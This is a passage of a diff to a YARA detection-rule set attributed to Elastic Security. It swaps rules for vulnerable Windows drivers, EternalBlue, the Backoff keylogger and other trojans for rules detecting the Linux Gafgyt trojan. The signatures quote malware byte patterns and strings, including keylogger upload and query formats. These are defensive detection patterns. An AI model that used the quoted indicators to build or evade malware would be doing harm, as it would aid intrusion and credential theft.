-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 74 00 6B 00 69 00 6F 00 77 00 31 00 30 00 78 00 36 00 34 00 2E 00 73 00 79 00 73 00 20 00 00 00 }
+		$a = { D0 EB 0F 40 38 37 75 04 48 89 F8 C3 49 FF C8 48 FF C7 4D 85 C0 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Viragt_5F92F226 : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_D0C57A2E : FILE MEMORY
 {
 	meta:
-		description = "Name: viragt.sys, Version: 1.80.0.0"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "5f92f226-053e-4a5b-8a0c-52a578f66cb8"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "d0c57a2e-c10c-436c-be13-50a269326cf2"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Viragt.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e05eeb2b8c18ad2cb2d1038c043d770a0d51b96b748bc34be3e7fc6f3790ce53"
-		logic_hash = "e7ade7aec563c1dc602dfd7fda8c063058f47ae2a915959468792fce389b38f1"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L674-L691"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "2ac51f0943d573fdc9a39837aeefd9158c27a4b3f35fbbb0a058a88392a53c14"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "544d7012478f31e9f9858ddb4463fa705bf8d50a97b5477557bd95e2d3d3b3ac"
-		threat_name = "Windows.VulnDriver.Viragt"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "3ee7d3a33575ed3aa7431489a8fb18bf30cfd5d6c776066ab2a27f93303124b6"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 76 00 69 00 72 00 61 00 67 00 74 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x50][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x4f][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a = { 07 0F B6 57 01 C1 E0 08 09 D0 89 06 0F BE 47 02 C1 E8 1F 89 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Viragt_84D508Ad : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_751Acb94 : FILE MEMORY
 {
 	meta:
-		description = "Name: viragt64.sys, Version: 1.0.0.11"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "84d508ad-939d-4e3b-b9a6-204eb8bcaee5"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "751acb94-cb23-4949-a4dd-87985c47379e"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Viragt.yar#L23-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "58a74dceb2022cd8a358b92acd1b48a5e01c524c3b0195d7033e4bd55eff4495"
-		logic_hash = "a3e1b41155c7dd347976a1057cb763ab60c50c34e981fef050bd54f060a412fc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L693-L710"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1963351d209168f4ae2268d245cfd5320e4442d00746d021088ffae98e5da454"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "172be67b6bb07f189fd5e535e173d245114bf4b17c3daf89924a30c7219d3e69"
-		threat_name = "Windows.VulnDriver.Viragt"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "dbdfdb455868332e9fbadd36c084d0927a3dd8ab844f0b1866e914914084cd4b"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 76 00 69 00 72 00 61 00 67 00 74 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x01][\x00-\x00])([\x00-\x0b][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x00][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+		$a = { 20 54 6F 20 43 6F 6E 6E 65 63 74 21 20 00 53 75 63 63 65 73 66 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Linux_Exploit_Iouring_D04C1C19 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_656Bf077 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Iouring (Linux.Exploit.IOUring)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "d04c1c19-9303-41cd-ae9c-149bb137e6cc"
-		date = "2024-04-07"
-		modified = "2024-06-12"
+		id = "656bf077-ca0c-4d28-9daa-eb6baafaf467"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_IOUring.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "29e6a5f7b36e271219601528f3fd70831aacb8b9f05722779faa40afc97b3b60"
-		logic_hash = "b1d8d6090576b4b5bcd435eb69ee1dc1f1947115d38b62364cf1730a4f08d317"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L712-L730"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6"
+		logic_hash = "0c9728304e720eb2cd00afad8d16f309514473dece48fa94af6a72ca41705a36"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0e50d858b8e5428a964dc70b0132659defd61e8965331fa327b1f454bf922162"
+		fingerprint = "3ea8ed60190198d5887bb7093975d648a9fd78234827d648a8258008c965b1c1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59197,242 +63360,231 @@ rule ELASTIC_Linux_Exploit_Iouring_D04C1C19 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$s1 = "io_uring_"
-		$s2 = "kaslr_leak: 0x%llx"
-		$s3 = "kaslr_base: 0x%llx"
+		$a = { 74 28 48 8B 45 E8 0F B6 00 84 C0 74 14 48 8B 75 E8 48 FF C6 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Exploit_Eternalblue_Ead33Bf8 : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_E6D75E6F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Exploit Eternalblue (Windows.Exploit.Eternalblue)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "ead33bf8-1870-4d01-a223-edcbe262542f"
+		id = "e6d75e6f-aa04-4767-8730-6909958044a7"
 		date = "2021-01-12"
-		modified = "2021-08-23"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_Eternalblue.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a1340e418c80be58fb6bbb48d4e363de8c6d62ea59730817d5eda6ba17b2c7a7"
-		logic_hash = "4d0ab8bd7ef5b20e656110ac3c78b08803539387cb4fe1425a284d39c42aa199"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L732-L750"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "48b15093f33c18778724c48c34199a420be4beb0d794e36034097806e1521eb8"
+		logic_hash = "339dd33a3313a4a94d2515cd4c2100ac6b9d5e0029881494c28dc3e7c8a05798"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "9e3b5f4f0b8ac683544886abbd9eecbf0253a7992ee5d99c453de67b9aacdccd"
+		tags = "FILE, MEMORY"
+		fingerprint = "e99805e8917d6526031270b6da5c2f3cc1c8235fed1d47134835a107d0df497c"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { F8 31 C9 EB 0B 40 8A 3C 0E 40 88 3C 08 48 FF C1 48 39 D1 75 }
+		$a = { 00 00 00 CD 80 C3 8B 54 24 04 8B 4C 24 08 87 D3 B8 5B 00 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Backoff_22798F00 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_7167D08F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Backoff (Windows.Trojan.Backoff)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "22798f00-ff2a-4f5f-a9ef-fab6d04ca679"
-		date = "2022-08-10"
-		modified = "2022-09-29"
+		id = "7167d08f-bfeb-4d78-9783-3a1df2ef0ed3"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Backoff.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "65b5aff18a4e0bc29d7cc4cfbe2d5882f99a855727fe467b2ba2e2851c43d21b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L752-L770"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4c6aeaa6f6a0c40a3f4116a2e19e669188a8b1678a8930350889da1bab531c68"
+		logic_hash = "88c07bf06801192f38ef66229a0aa5c1ef6242caeb080ce1c7cd13ad0d540c82"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "a45fc701844e6e0cfba5d8ef90d00960b5817af66e6b3d889a54d33539cd5d41"
+		fingerprint = "b9df4ab322a2a329168f684b07b7b05ee3d03165c5b9050a4710eae7aeca6cd9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\nsskrnl" fullword
-		$str2 = "Upload KeyLogs" fullword
-		$str3 = "&op=%d&id=%s&ui=%s&wv=%d&gr=%s&bv=%s" fullword
-		$str4 = "[%s] - [%.2d/%.2d/%d %.2d:%.2d:%.2d]" fullword
-		$str5 = "\\OracleJava\\Log.txt" fullword
-		$str6 = "[Ctrl+%c]" fullword
+		$a = { 0C 8A 00 3C 2D 75 13 FF 45 0C C7 45 E4 01 00 00 00 EB 07 FF }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Eagerbee_7029Ba21 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_27De1106 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Eagerbee (Windows.Trojan.EagerBee)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "7029ba21-12ea-4120-911b-a36c4002409e"
-		date = "2023-05-09"
-		modified = "2023-06-13"
-		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_EagerBee.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "09005775fc587ac7bf150c05352e59dc01008b7bf8c1d870d1cea87561aa0b06"
-		logic_hash = "874959361b14ba74e13e6e674da75c9bdb6b9475d8b286572825c940b41f679f"
+		id = "27de1106-497d-40a0-8fc4-929f7a927628"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L772-L790"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "899c072730590003b98278bdda21c15ecaa2f49ad51e417ed59e88caf054a72d"
+		logic_hash = "4e266e1ae31d7d86866b112a04ca38c0a8185c18ebb10ac6497bbaa69f51b2fd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "26d0d10f7c503e284e2b24a9e273f880d2e152348dfdd44fb3fc8cb10aa57e2a"
+		fingerprint = "9a747f0fc7ccc55f24f2654344484f643103da709270a45de4c1174d8e4101cc"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { C2 EB D6 0F B7 C2 48 8D 0C 80 41 8B 44 CB 14 41 2B 44 CB 0C 41 }
-		$a2 = { C8 75 04 33 C0 EB 7C 48 63 41 3C 8B 94 08 88 00 00 00 48 03 D1 8B }
+		$a = { 0C 0F B6 00 84 C0 74 18 8B 45 0C 40 8B 55 08 42 89 44 24 04 89 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Eagerbee_A64B323B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_148B91A2 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Eagerbee (Windows.Trojan.EagerBee)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "a64b323b-60b6-49b9-99d2-82a336fe304e"
-		date = "2023-09-04"
-		modified = "2023-09-20"
-		reference = "https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_EagerBee.yar#L23-L45"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "339e4fdbccb65b0b06a1421c719300a8da844789a2016d58e8ce4227cb5dc91b"
-		logic_hash = "e1c25cf8ce0ff434727c9104c6b79110ff5cfa84eb3e939119fd05cf676727c6"
+		id = "148b91a2-ed51-4c2d-9d15-6a48d9ea3e0a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L792-L810"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d5b2bde0749ff482dc2389971e2ac76c4b1e7b887208a538d5555f0fe6984825"
+		logic_hash = "1a974c0882c2d088c978a52e5b535807c86f117cf2f05c40c084e849b1849f5b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5109ec213a2ac1a1d920f3a9753bed97d038b226775996002511df5dc0b6de9c"
+		fingerprint = "0f75090ed840f4601df4e43a2f49f2b32585213f3d86d19fb255d79c21086ba3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$dexor_config_file = { 48 FF C0 8D 51 FF 44 30 00 49 03 C4 49 2B D4 ?? ?? 48 8D 4F 01 48 }
-		$parse_config = { 80 7C 14 20 3A ?? ?? ?? ?? ?? ?? 45 03 C4 49 03 D4 49 63 C0 48 3B C1 }
-		$parse_proxy1 = { 44 88 7C 24 31 44 88 7C 24 32 48 F7 D1 C6 44 24 33 70 C6 44 24 34 3D 88 5C 24 35 48 83 F9 01 }
-		$parse_proxy2 = { 33 C0 48 8D BC 24 F0 00 00 00 49 8B CE F2 AE 8B D3 48 F7 D1 48 83 E9 01 48 8B F9 }
+		$a = { C6 45 DB FC EB 04 C6 45 DB FE 0F B6 45 DB 88 45 FF 48 8D 75 FF 8B }
 
 	condition:
-		2 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Darkcloud_9905Abce : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_20F5E74F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Darkcloud (Windows.Trojan.DarkCloud)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "9905abce-cbfc-4c92-aef6-38f2099eb5da"
-		date = "2023-05-03"
-		modified = "2023-06-13"
+		id = "20f5e74f-9f94-431b-877c-9b0d78a1d4eb"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DarkCloud.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "500cb8459c19acd5a1144c4b509c14dbddec74ad623896bfe946fde1cd99a571"
-		logic_hash = "27d3841d6acf87f5c9c03d643c7859d9eaf42e49ed0241b761f858c669c4e931"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L812-L830"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9084b00f9bb71524987dc000fb2bc6f38e722e2be2832589ca4bb1671e852f5b"
+		logic_hash = "067f1c15961c1ddceecb490b338db9f5b8501d89b38e870edfa628d21527dc1c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5aeb210b37f4b2b4032917f53f2fb0422132aa1f8cddf0f47bccf50ff68ce00c"
+		fingerprint = "070fe0d678612b4ec8447a07ead0990a0abd908ce714388720e7fd7055bf1175"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 8D 45 DC 57 57 6A 01 6A 11 50 6A 01 68 80 00 00 00 89 7D E8 89 }
-		$a2 = { C8 33 FF 50 57 FF D6 8D 4D DC 51 57 FF D6 C3 8B 4D F0 8B 45 }
+		$a = { D8 8B 45 D0 8B 04 D0 8D 50 01 83 EC 0C 8D 85 38 FF FF FF 50 8D 85 40 FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Dbutil_Ffe07C79 : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_1B2E2A3A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Dbutil (Windows.VulnDriver.DBUtil)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "ffe07c79-d97b-43ba-92b9-206bb4c7bdd4"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "1b2e2a3a-1302-41c7-be99-43edb5563294"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_DBUtil.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "87e38e7aeaaaa96efe1a74f59fca8371de93544b7af22862eb0e574cec49c7c3"
-		logic_hash = "18b1c93c395b105f446b4c968441e0a43e42b1bd7efcf6501a89eb92cbd21824"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L832-L850"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "899c072730590003b98278bdda21c15ecaa2f49ad51e417ed59e88caf054a72d"
+		logic_hash = "6f40f868d20f0125721eb2a7934b356d69b695d4a558155a2ddcd0107d3f8c30"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "16c22aba1e8c677cc22d3925dd7416a3c55c67271940289936a2cdc199a53798"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "6f24b67d0a6a4fc4e1cfea5a5414b82af1332a3e6074eb2178aee6b27702b407"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\DBUtilDrv2_32.pdb"
+		$a = { 83 7D 18 00 74 25 8B 45 1C 83 E0 02 85 C0 74 1B C7 44 24 04 2D 00 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Dbutil_852Ba283 : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_620087B9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Vulndriver Dbutil (Windows.VulnDriver.DBUtil)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "852ba283-6a03-44b6-b7e2-b00d1b0586e4"
-		date = "2022-04-04"
-		modified = "2022-04-04"
+		id = "620087b9-c87d-4752-89e8-ca1c16486b28"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_DBUtil.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5"
-		logic_hash = "78acd081c2517f9c53cb311481c0cc40cc3699b222afc290da1a3698e7bf75b7"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L852-L870"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961"
+		logic_hash = "411451ea326498a25af8be5cd43fe0b98973af354706268c89828b88ece5e497"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "aec919dfea62a8ed01dde4e8c63fbfa9c2a9720c144668460c00f56171c8db25"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\DBUtilDrv2_64.pdb"
+		$a = { 48 89 D8 48 83 C8 01 EB 04 48 8B 76 10 48 3B 46 08 72 F6 48 8B }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Linux_Hacktool_Exploitscan_4327F817 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Dd0D6173 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Hacktool Exploitscan (Linux.Hacktool.Exploitscan)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "4327f817-cb11-480f-aba7-4d5170c77758"
+		id = "dd0d6173-b863-45cf-9348-3375a4e624cf"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Hacktool_Exploitscan.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "66c6d0e58916d863a1a973b4f5cb7d691fbd01d26b408dbc8c74f0f1e4088dfb"
-		logic_hash = "7797d9bd75dff355e1ee84b856e77cf9e886dfe727fb8ce7a6fdbe5ed1eb0985"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L872-L890"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c5a317d0d8470814ff343ce78ad2428ebb3f036763fcf703a589b6c4d33a3ec6"
+		logic_hash = "7061edef1981e2b93bcdd8be47c0f6067acc140a543eed748bf0513f182e0a59"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3f70c8ef8f20f763dcada4353c254fe1df238829ce590fb87c279d8a892cf9c4"
+		fingerprint = "5e2cb111c2b712951b71166111d339724b4f52b93f90cb474f1e67598212605f"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -59440,132 +63592,114 @@ rule ELASTIC_Linux_Hacktool_Exploitscan_4327F817 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 08 8B 4C 24 0C 85 C0 74 20 8B 58 20 84 03 83 C3 10 8B 68 24 89 9C 24 DC 00 }
+		$a = { 55 F8 8B 45 F0 89 42 0C 48 8B 55 F8 8B 45 F4 89 42 10 C9 C3 55 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Safetykatz_072B7370 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_779E142F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Safetykatz (Windows.Hacktool.SafetyKatz)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
